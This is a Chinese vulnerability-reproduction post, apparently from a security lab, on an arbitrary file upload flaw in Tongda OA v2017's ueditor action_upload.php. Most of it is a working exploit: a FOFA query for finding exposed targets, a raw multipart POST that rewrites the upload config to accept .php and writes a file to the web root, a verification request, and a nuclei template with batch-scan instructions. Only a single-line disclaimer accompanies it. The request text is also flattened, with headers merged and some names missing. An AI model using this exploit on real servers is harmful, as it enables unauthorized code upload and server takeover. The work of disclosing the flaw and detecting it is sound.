0x01 漏洞描述
通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达存在任意文件上传漏洞，攻击者可以通过指定接口上传任意文件，获取服务器管理权限。
0x02 漏洞复现
fofa："通达-OA"
1.上传eee.php文件至网站根目录，内容为0xold6
POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1Host: x.x.x.x:8082User-Agent: Go-http-client/1.1Content-Length: 880Content-Type: multipart/form-data; boundary=---------------------------55719851240137822763221368724X_requested_with: XMLHttpRequestAccept-Encoding: gzip-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="CONFIG[fileFieldName]"ffff-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="CONFIG[fileMaxSize]"1000000000-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="CONFIG[filePathFormat]"eee-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]".php-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="ffff"; filename="test.php"Content-Type: application/octet-stream0xold6-----------------------------55719851240137822763221368724Content-Disposition: form-data; name="mufile"submit-----------------------------55719851240137822763221368724--
2.访问eee.php，成功上传文件
GET /eee.php HTTP/1.1Host: x.x.x.x:8082User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: PHPSESSID=vm1hud5b14spa0ulldoa63njt2; KEY_RANDOMDATA=2342Upgrade-Insecure-Requests: 1
3.编写nuclei脚本
nuclei命令(-u可改为-l批量验证)：nuclei.exe -t tongdaOA_Action_upload.yaml -u http://x.x.x.x脚本：id: tongdaOA_Action_uploadinfo:name: TongdaOA Action_uploadauthor: smseverity: criticaltags: TongdaOArequests:raw:|POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1Host: {{Hostname}}: Go-http-client/1.1: 880: multipart/form-data; boundary=---------------------------55719851240137822763221368724X_requested_with: XMLHttpRequest: gzip-----------------------------55719851240137822763221368724: form-data; name="CONFIG[fileFieldName]"ffff-----------------------------55719851240137822763221368724: form-data; name="CONFIG[fileMaxSize]"1000000000-----------------------------55719851240137822763221368724: form-data; name="CONFIG[filePathFormat]"eee-----------------------------55719851240137822763221368724: form-data; name="CONFIG[fileAllowFiles][]".php-----------------------------55719851240137822763221368724: form-data; name="ffff"; filename="test.php": application/octet-stream0xold6-----------------------------55719851240137822763221368724: form-data; name="mufile"submit-----------------------------55719851240137822763221368724--|GET /eee.php HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2: gzip, deflateDNT: 1Connection: closeCookie: PHPSESSID=vm1hud5b14spa0ulldoa63njt2; KEY_RANDOMDATA=2342: 1matchers:type: wordwords:"0xold6"part: body
(注：本文章为技术分享，禁止任何非授权攻击行为)
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原文始发于微信公众号（融云攻防实验室）：漏洞复现 通达OA v2017 Action_upload任意文件上传漏洞
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